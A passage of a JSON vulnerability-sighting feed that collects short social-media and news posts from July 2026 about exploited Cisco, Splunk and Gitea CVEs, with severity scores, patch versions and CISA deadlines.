"c4979e93-f6b9-4a1c-b918-13462cd9b0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/information_security_channel/55359", "content": "Cisco Warns of 7th SD-WAN Zero-Day Exploited in 2026\nhttps://www.securityweek.com/cisco-warns-of-7th-sd-wan-zero-day-exploited-in-2026/\n\nThe vulnerability is tracked as CVE-2026-20245 and it can allow arbitrary command execution as root, but no patch yet.\nThe post Cisco Warns of 7th SD-WAN Zero-Day Exploited in 2026 (https://www.securityweek.com/cisco-warns-of-7th-sd-wan-zero-day-exploited-in-2026/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-15T12:00:06.806892Z"}, {"uuid": "72d14185-3fa9-4366-9e99-2ff2afdfaef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/thehackernews/9314", "content": "\ud83d\uded1 Cisco Unified CM admins should check WebDialer now.\n\nCVE-2026-20230 is being exploited, and vulnerable WebDialer-enabled systems can be abused by unauthenticated attackers to write files.\n\nCisco patched it in 14SU6 and 15SU5.\n\nRead: https://thehackernews.com/2026/06/cisco-unified-cm-flaw-exploited-after.html", "creation_timestamp": "2026-07-15T12:00:04.384280Z"}, {"uuid": "ac08c10c-2085-42d1-b71d-536567d73878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/thehackernews/9319", "content": "\u26a0\ufe0f Attackers exploited a #Cisco SD-WAN flaw before it was public.\n\nMandiant says CVE-2026-20245 was used as a zero-day to turn admin access into root control.\n\nThey also restored configs, deleted traces, and hid a rogue \u201ctroot\u201d account.\n\nRead \ud83e\udc16 https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-zero-day-cve-2026.html", "creation_timestamp": "2026-07-15T12:00:04.428063Z"}, {"uuid": "50232031-ed14-4865-96b5-8f464a51d9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/thehackernews/9279", "content": "This Splunk flaw is no longer just theoretical.\n\nSplunk says it is aware of limited exploitation of CVE-2026-20253.\n\nCISA has added it to KEV, giving federal agencies until June 21, 2026 to patch.\n\nUpgrade now.\n\nRead the update: https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html", "creation_timestamp": "2026-07-15T12:00:04.712036Z"}, {"uuid": "adc41bdc-0714-491b-80d0-a04c4b4252f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/thehackernews/9233", "content": "\ud83d\udea8 ALERT - A critical Splunk Enterprise flaw can go from \u201cno login required\u201d to remote code execution.\n\nTracked as CVE-2026-20253, the bug carries a 9.8 CVSS score and affects vulnerable Splunk Enterprise servers through exposed PostgreSQL sidecar endpoints.\n\nThe exploit chain is now public.\n\nRead the full story: https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html", "creation_timestamp": "2026-07-15T12:00:04.911742Z"}, {"uuid": "2d72517c-e2aa-4c30-ae4f-486be1f5e98e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://t.me/thehackernews/9251", "content": "\u26a0\ufe0f Cisco has released patches for a Catalyst SD-WAN Manager flaw now exploited in the wild.\n\nCVE-2026-20262 lets an authenticated attacker with write access create or overwrite files on affected systems.\n\nCisco says exploitation is limited, but CISA added it to KEV and set a June 29 patch deadline.\n\nRead: https://thehackernews.com/2026/06/cisco-releases-security-updates-for.html", "creation_timestamp": "2026-07-15T12:00:05.012086Z"}, {"uuid": "74c0fb18-eed5-462a-9fbd-10470c3b5d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/thehackernews/9156", "content": "\ud83d\udea8 No auth required ... a crafted web request to Cisco Unified CM can write files to the OS and open a path to root.\n\nCVE-2026-20230 patch is out, PoC exploit is public, and no attacks yet. Only bites if WebDialer is ON.\n\nFix: 14SU6 / COP / 15SU5, or kill WebDialer. \n\nRead: https://thehackernews.com/2026/06/cisco-patches-cve-2026-20230-in-unified.html", "creation_timestamp": "2026-07-15T12:00:05.458153Z"}, {"uuid": "93816fb2-ebdd-4023-8918-ff66538ced0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/thehackernews/9165", "content": "\ud83d\udea8 New Cisco SD-WAN vulnerability under active exploitation.\n\nCVE-2026-20245 lets authenticated netadmin attackers run commands as root via crafted file uploads.\n\nNo patches or mitigations are available.\n\nCheck /var/log/scripts.log for IoCs.\n\nRead: https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-manager-cve-2026.html", "creation_timestamp": "2026-07-15T12:00:05.489901Z"}, {"uuid": "347fa2c8-16f4-4948-989d-a674dc1b6e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/information_security_channel/55473", "content": "Cisco SD-WAN Zero-Day Exploited Months Before Patching\nhttps://www.securityweek.com/cisco-sd-wan-zero-day-exploited-months-before-patching/\n\nCVE-2026-20245, the 7th Cisco SD-WAN vulnerability exploited in 2026, was used for months prior to its disclosure and patching.\nThe post Cisco SD-WAN Zero-Day Exploited Months Before Patching (https://www.securityweek.com/cisco-sd-wan-zero-day-exploited-months-before-patching/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-15T12:00:05.856844Z"}, {"uuid": "1d3d9627-cc0b-4498-8515-9a5583745045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/information_security_channel/55535", "content": "Critical Gitea Flaw Under Active Exploitation, Researchers Warn\nhttps://www.securityweek.com/critical-gitea-flaw-under-active-exploitation-researchers-warn/\n\nAttackers are exploiting the critical Gitea vulnerability CVE-2026-20896 to bypass authentication with a single HTTP header and access vulnerable repositories and secrets.\nThe post Critical Gitea Flaw Under Active Exploitation, Researchers Warn (https://www.securityweek.com/critical-gitea-flaw-under-active-exploitation-researchers-warn/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-15T12:00:06.101989Z"}, {"uuid": "01b4a65b-6208-4584-bcfc-06371a03e399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://t.me/information_security_channel/55417", "content": "Cisco Patches Another SD-WAN Zero-Day Exploited in Attacks\nhttps://www.securityweek.com/cisco-patches-another-sd-wan-zero-day-exploited-in-attacks/\n\nCisco recently became aware of the exploitation of CVE-2026-20262, a Catalyst SD-WAN Manager zero-day that allows arbitrary file write.\nThe post Cisco Patches Another SD-WAN Zero-Day Exploited in Attacks (https://www.securityweek.com/cisco-patches-another-sd-wan-zero-day-exploited-in-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-15T12:00:06.409389Z"}, {"uuid": "1ce49cd3-b3a7-40ec-9c62-b5733eca7fe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/information_security_channel/55466", "content": "Hackers Exploiting Cisco Unified CM Vulnerability\nhttps://www.securityweek.com/hackers-exploiting-cisco-unified-cm-vulnerability/\n\nCisco noted that a PoC had been available for CVE-2026-20230 when it announced patches in early June.\nThe post Hackers Exploiting Cisco Unified CM Vulnerability (https://www.securityweek.com/hackers-exploiting-cisco-unified-cm-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-15T12:00:06.565997Z"}, {"uuid": "925dc10d-7464-4fec-afa9-d90e3397e903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/HackerNewscyber/3061", "content": "\u2708\ufe0f\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0633\u06cc\u0633\u06a9\u0648 \u0647\u062f\u0641 \u062d\u0645\u0644\u0627\u062a \u0641\u0639\u0627\u0644 \u0633\u0627\u06cc\u0628\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\n\n\ud83c\udfa4\u0634\u0631\u06a9\u062a \u0633\u06cc\u0633\u06a9\u0648 \u0646\u0633\u0628\u062a \u0628\u0647 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0641\u0639\u0627\u0644 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u067e\u0631\u062e\u0637\u0631 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 Catalyst SD-WAN Manager \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-20245 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0627\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u06cc\u0634\u0647 (Root) \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\ud83c\udfa4\u0628\u0647 \u06af\u0641\u062a\u0647 \u0633\u06cc\u0633\u06a9\u0648\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0627 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0636\u0639\u0641 \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0627\u06cc\u0634 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0648 \u062a\u063a\u06cc\u06cc\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0634\u0628\u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f. \u062a\u0627\u06a9\u0646\u0648\u0646 \u0647\u06cc\u0686 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06cc\u0627 \u0631\u0627\u0647\u06a9\u0627\u0631 \u06a9\u0627\u0647\u0634 \u062e\u0637\u0631 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0646\u0634\u062f\u0647 \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062a\u0648\u0635\u06cc\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0633\u0627\u06cc\u0631 \u0636\u0639\u0641\u200c\u0647\u0627\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0645\u0631\u062a\u0628\u0637 \u0628\u0647\u200c\u0631\u0648\u0632 \u0646\u06af\u0647 \u062f\u0627\u0631\u0646\u062f.\n\n\ud83c\udfa4\u0627\u06cc\u0646 \u0647\u0641\u062a\u0645\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0641\u0639\u0627\u0644 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a SD-WAN \u0633\u06cc\u0633\u06a9\u0648 \u0627\u0632 \u0627\u0628\u062a\u062f\u0627\u06cc \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc \u0645\u06cc\u0644\u0627\u062f\u06cc \u0628\u0647 \u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u062f.\n\n\u2708\ufe0f@HackerNewsCyber", "creation_timestamp": "2026-07-15T13:00:05.265507Z"}, {"uuid": "fe9c04e4-e361-469d-8405-0e1272032e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/HackerNewscyber/3111", "content": "\u2708\ufe0f\u0647\u0634\u062f\u0627\u0631 \u0633\u06cc\u0633\u06a9\u0648 \u062f\u0631\u0628\u0627\u0631\u0647 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0641\u0639\u0627\u0644 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \nCatalyst SD-WAN\n\ud83c\udfa4 \u0634\u0631\u06a9\u062a \u0633\u06cc\u0633\u06a9\u0648 \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2026-20262 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644 Catalyst SD-WAN Manager \u0628\u0647\u200c\u0637\u0648\u0631 \u0641\u0639\u0627\u0644 \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f.\n\n\ud83c\udfa5 \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0627\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062d\u062f\u0648\u062f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0627\u06cc\u062c\u0627\u062f \u06cc\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0647 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u06cc\u0634\u0647 (Root) \u062f\u0633\u062a \u06cc\u0627\u0628\u0646\u062f. \u0628\u0647\u200c\u062f\u0644\u06cc\u0644 \u0645\u0634\u0627\u0647\u062f\u0647 \u062d\u0645\u0644\u0627\u062a \u0648\u0627\u0642\u0639\u06cc\u060c \u0633\u0627\u0632\u0645\u0627\u0646 CISA \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0628\u0647 \u0641\u0647\u0631\u0633\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062f\u0631 \u062d\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc (KEV) \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0647 \u0648 \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n \u2708\ufe0f@HackerNewsCyber", "creation_timestamp": "2026-07-15T13:00:05.381451Z"}, {"uuid": "7e72b863-d74f-46f5-9516-d23beb0bd09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://www.cert.se/2026/07/patchtisdag-juli-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-07-15T13:16:32.067346Z"}, {"uuid": "14fa4e96-56fa-4f79-9d84-4b39fc2e1329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20150", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116925102408110334", "content": "Broadcom has a long list of advisories addressing several critical vulnerabilities, among others not quite as privileged https://socket.dev/blog/11-malicious-nuget-tools-pose-as-game-cheats \nDon't forget Cisco:\nCisco: High severity: CVE-2026-20150 and CVE-2026-20153: Cisco RoomOS Security Hardening Release: July 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-roomos-AqNMbEq\nMidium Severity: CVE-2026-20146: Cisco Identity Services Engine Path Traversal Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-traversal-xNt7wb2Y  @TalosSecurity #Cisco #infosec #vulnerability #Broadcom", "creation_timestamp": "2026-07-15T17:11:14.308898Z"}, {"uuid": "bfbdf7dd-ad05-4885-a6cf-b9e3858548ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20153", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116925102408110334", "content": "Broadcom has a long list of advisories addressing several critical vulnerabilities, among others not quite as privileged https://socket.dev/blog/11-malicious-nuget-tools-pose-as-game-cheats \nDon't forget Cisco:\nCisco: High severity: CVE-2026-20150 and CVE-2026-20153: Cisco RoomOS Security Hardening Release: July 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-roomos-AqNMbEq\nMidium Severity: CVE-2026-20146: Cisco Identity Services Engine Path Traversal Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-traversal-xNt7wb2Y  @TalosSecurity #Cisco #infosec #vulnerability #Broadcom", "creation_timestamp": "2026-07-15T17:11:14.354543Z"}, {"uuid": "50911e87-1f52-40f7-a6fc-e55212d7eb12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20146", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116925102408110334", "content": "Broadcom has a long list of advisories addressing several critical vulnerabilities, among others not quite as privileged https://socket.dev/blog/11-malicious-nuget-tools-pose-as-game-cheats \nDon't forget Cisco:\nCisco: High severity: CVE-2026-20150 and CVE-2026-20153: Cisco RoomOS Security Hardening Release: July 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-roomos-AqNMbEq\nMidium Severity: CVE-2026-20146: Cisco Identity Services Engine Path Traversal Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-traversal-xNt7wb2Y  @TalosSecurity #Cisco #infosec #vulnerability #Broadcom", "creation_timestamp": "2026-07-15T17:11:14.400901Z"}, {"uuid": "f5daa2c8-b388-4480-9d54-76eecd419f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqpftydweo22", "content": "CVE-2026-20150 - Cisco RoomOS Security Hardening Release - Access Control Vulnerabilities\nCVE ID : CVE-2026-20150\n \n Published : July 15, 2026, 5:16 p.m. | 1\u00a0hour, 17\u00a0minutes ago\n \n Description : As part of Cisco's ongoing commitment to proactive security and product quality, ...", "creation_timestamp": "2026-07-15T19:01:37.236882Z"}, {"uuid": "3ec10b76-8d59-4fca-8b1b-87a9af31b19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqpgdzh2ib22", "content": "CVE-2026-20296 - SPL Command Safeguards Bypass through Cross-Site Request Forgery (CSRF) in Deployment Server in Splunk Enterprise\nCVE ID : CVE-2026-20296\n \n Published : July 15, 2026, 6:16 p.m. | 17\u00a0minutes ago\n \n Description : In Splunk Enterprise versions below 10.4.1, 10.2...", "creation_timestamp": "2026-07-15T19:10:35.467041Z"}, {"uuid": "2ddfdd21-406a-4856-9585-420cc322eade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20156", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqphydbcrh2h", "content": "CVE-2026-20156 - Cisco RoomOS Security Hardening Release - Buffer Management Vulnerabilities\nCVE ID : CVE-2026-20156\n \n Published : July 15, 2026, 5:16 p.m. | 1\u00a0hour, 17\u00a0minutes ago\n \n Description : As part of Cisco's ongoing commitment to proactive security and product qualit...", "creation_timestamp": "2026-07-15T19:39:50.413446Z"}, {"uuid": "94bee44b-09bd-4b8d-bfab-a10fe4c3545c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqpjb5imdk2o", "content": "Cisco ISE\u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u304c\u4fee\u6b63\u3055\u308c\u307e\u3057\u305f\n\nCVE-2026-20181\uff08CVSS\u30b9\u30b3\u30a29.1\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u554f\u984c\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u5165\u529b\u3057\u305f\u60c5\u5831\u304c\u9069\u5207\u306b\u691c\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u305f\u3081\u306b\u767a\u751f\u3057\u3001\u653b\u6483\u8005\u304c\u7d30\u5de5\u3055\u308c\u305fHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u57fa\u76e4\u3068\u306a\u308b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u30e6\u30fc\u30b6\u30fc\u30ec\u30d9\u30eb\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u53d6\u5f97\u3067\u304d\u3066\u3057\u307e\u3046\u3002\u653b\u6483\u8005\u306f\u305d\u306e\u5f8c\u3001\u81ea\u8eab\u306e\u6a29\u9650\u3092root\u306b\u6607\u683c\u3055\u305b\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n\u300cCisco ISE\u304a\u3088\u3073ISE-PIC\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u6e08\u307f\u306e\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u304c\u3001\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30c7\u30d0\u30a4\u30b9\u306e\u57fa\u76e4\u3068\u306a\u308b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067...", "creation_timestamp": "2026-07-15T20:02:43.555500Z"}, {"uuid": "f0a842eb-c155-4e7b-ba79-9ad7ef239da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqpjf3xyws2o", "content": "Atlassian\u3001Splunk\u304c\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nSplunk\u306f\u3001 AI Toolkit\u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u554f\u984c\u3092\u89e3\u6c7a\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u7ba1\u7406\u8005\u6a29\u9650\u3092\u6301\u3064\u8a8d\u8a3c\u6e08\u307f\u653b\u6483\u8005\u304c\u3001Splunk Enterprise\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u304c\u7a3c\u50cd\u3057\u3066\u3044\u308b\u30db\u30b9\u30c8\u4e0a\u3067\u4efb\u610f\u306eOS\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3057\u305f\u3002\n\n\u300c\u3053\u306e\u8106\u5f31\u6027\u306f\u3001 btool\u8a2d\u5b9a\u30d8\u30eb\u30d1\u30fc\u306b\u304a\u3051\u308b\u5b89\u5168\u3067\u306a\u3044\u30b7\u30a7\u30eb\u5b9f\u884c\u30d1\u30bf\u30fc\u30f3\u304c\u539f\u56e0\u3067\u767a\u751f\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u30d1\u30bf\u30fc\u30f3\u3067\u306f\u3001\u30b7\u30a7\u30eb\u89e3\u91c8\u3092\u7121\u52b9\u306b\u305b\u305a\u306b\u52d5\u7684\u30d1\u30e9\u30e1\u30fc\u30bf\u304b\u3089OS\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u3092\u69cb\u7bc9\u3057\u307e\u3059\u300d\u3068Splunk\u306f\u8aac\u660e\u3057\u3066\u3044\u307e\u3059\u3002\n\nCVE-2026-20266\uff08CVSS\u30b9\u30b3\u30a29.1\uff09...", "creation_timestamp": "2026-07-15T20:04:58.772557Z"}, {"uuid": "1721742f-f0cc-42d9-97ca-5f67d75c76d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/information_security_channel/55359", "content": "Cisco Warns of 7th SD-WAN Zero-Day Exploited in 2026\nhttps://www.securityweek.com/cisco-warns-of-7th-sd-wan-zero-day-exploited-in-2026/\n\nThe vulnerability is tracked as CVE-2026-20245 and it can allow arbitrary command execution as root, but no patch yet.\nThe post Cisco Warns of 7th SD-WAN Zero-Day Exploited in 2026 (https://www.securityweek.com/cisco-warns-of-7th-sd-wan-zero-day-exploited-in-2026/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-16T00:00:07.795870Z"}, {"uuid": "9e3fa9fe-9e4f-4c63-8891-89ddeec9d548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", 